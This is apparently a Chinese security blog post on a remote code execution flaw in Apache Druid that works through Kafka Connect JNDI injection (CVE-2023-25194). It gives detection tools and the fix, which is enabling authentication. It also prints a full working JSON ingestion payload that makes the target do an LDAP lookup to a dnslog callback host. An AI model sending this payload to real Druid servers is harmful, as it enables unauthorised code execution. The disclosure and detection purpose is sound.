Apache Druid远程代码执行漏洞

影响范围

Apache Druid 全版本

Apache Druid远程代码执行漏洞

Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。

近期,Apache Kafka官方发布关于Apache Kafka Connect JNDI注入漏洞(CVE-2023-25194)的通告。这一漏洞需要低版本的JDK或者目标Kafka Connect系统中存在利用链,但由于该漏洞触发条件非常苛刻,几乎找不到可以利用的触发点。

发现Apache Druid正好符合Kafka CVE苛刻的利用条件,可以成功触发远程代码执行漏洞

编写了Xray远程检测工具和本地扫描工具供大家下载使用,同时在文章中提供了排查该资产的方式。

远程检测工具:

复制链接https://stack.chaitin.com/tool/detail?id=1  前往xray - CT Stack 安全社区下载最新版本xray。

执行 ./xray ws --poc poc-yaml-apache-druid-kafka-rce --url http://example.com 即可扫描。注意,检测该漏洞需要配置反连平台。

本地检测工具:

复制链接https://stack.chaitin.com/tool/detail?id=735  前往 CT Stack 安全社区下载牧云本地检测工具。

执行 ./apache_druid_rce_scanner_linux_amd64 scan 即可扫描。

解决方案

为Apache Druid 开启认证配置:

https://druid.apache.org/docs/latest/development/extensions-core/druid-basic-security.html

具体测试如下:

直接通过靶场环境开个测试环境如下:

https://vulfocus.cn/#/dashboard

使用这个环境即可:

Apache Druid远程代码执行漏洞

 

使用burp直接提交dnslog信息如下:

 

Apache Druid远程代码执行漏洞

dnslog返回信息如下:

Apache Druid远程代码执行漏洞

 

 

 

dnslog测试的POC代码如下:

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"6.6.6.6:9092",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://gwbvwo.dnslog.cn" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
            },
            "topic":"any",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\s\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

 

 

 参考连接:

https://mp.weixin.qq.com/s/cBnyUKQKPzGz0ZQwQgRjSw

 

THE END
分享
二维码
海报
Apache Druid远程代码执行漏洞
影响范围 Apache Druid 全版本 Apache Druid远程代码执行漏洞 Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处……
<<上一篇
下一篇>>